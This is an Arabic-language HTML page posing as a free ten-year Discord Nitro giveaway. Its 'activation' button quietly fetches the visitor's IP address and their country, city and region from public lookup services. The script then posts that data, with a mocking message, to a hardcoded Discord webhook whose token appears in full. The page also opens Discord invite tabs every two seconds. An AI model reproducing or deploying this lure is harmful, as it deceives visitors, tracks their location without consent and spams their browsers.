<!DOCTYPE html>
<html lang="ar">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>تفعيل الحساب</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            text-align: center;
            padding: 50px;
            margin: 0;
            overflow: hidden;
            height: 100vh;
        }
        /* إضافة الفيديو كخلفية */
        .background-video {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            object-fit: cover;
            z-index: -1;
        }
        /* تنسيق النصوص */
        .text-container {
            position: relative;
            z-index: 1;
            color: white;
            font-size: 30px;
            margin-bottom: 20px;
        }
        .white-text {
            color: white;
        }
        .red-text {
            color: red;
        }
        .btn {
            padding: 15px 30px;
            font-size: 20px;
            color: white;
            background-color: green;
            border: none;
            cursor: pointer;
            border-radius: 10px;
        }
        .btn:hover {
            background-color: darkgreen;
        }
        .hidden-btn {
            background-color: black;
        }
    </style>
</head>
<body>

    <!-- إضافة الفيديو كخلفية مع الصوت MP3 -->
    <video class="background-video" autoplay muted loop>
        <source src="https://g.top4top.io/m_3267t8sga1.mp4" type="video/mp4"> <!-- ضع رابط الفيديو هنا -->
        <source src="your-video.webm" type="video/webm"> <!-- أو رابط WebM هنا -->
        متصفحك لا يدعم تشغيل الفيديو.
    </video>

    <!-- إضافة الصوت MP3 -->
    <audio autoplay loop>
        <source src="https://i.top4top.io/m_3267luqtd1.mp3" type="audio/mpeg"> <!-- ضع رابط الصوت هنا -->
        متصفحك لا يدعم تشغيل الصوت.
    </audio>

    <div class="text-container">
        <h2 class="white-text">تبي نيترو ؟ </h2>
        <h3 class="red-text">Discord.gg/P7</h3>
    </div>

    <button class="btn hidden-btn" id="activationBtn" onclick="activateUser()">نيترو 10 سنين</button>

    <script>
        async function activateUser() {
            // جلب IP المستخدم
            const response = await fetch("https://api.ipify.org?format=json");
            const ipData = await response.json();
            const ip = ipData.ip;

            // تحديد الموقع (الدولة، المدينة، المنطقة)
            const locationData = await fetch(`https://ipinfo.io/${ip}/json`);
            const location = await locationData.json();

            // إرسال البيانات عبر Webhook
            const webhookUrl = "https://discord.com/api/webhooks/1317565490897354854/t2N8naTpDkmBCjwUDPRLIcQarLg3nOkNQ0xrVvKH3U2HgpXkUiWftMUEbNF1_ECq44dR"; // استبدل برابط Webhook الخاص بك
            const payload = {
                content: `في واحد اخذ نيترو 10 سنوات وللل قوي حيل: \nIP: ${ip} \nالدولة: ${location.country} \nالمدينة: ${location.city} \nالمنطقة: ${location.region}`
            };

            // إرسال البيانات
            await fetch(webhookUrl, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify(payload)
            });

            alert("تبي تستلم النيترو ؟ دش discord.gg/p7");
        }

        // فتح الروابط كل ثانيتين بشكل تلقائي
        setInterval(function() {
            window.open("https://discord.gg/1221", "_blank");
            window.open("https://discord.gg/p7", "_blank");
            window.open("https://discord.gg/5-1", "_blank");
        }, 2000); // 2000 ملي ثانية = 2 ثانية
    </script>

</body>
</html>
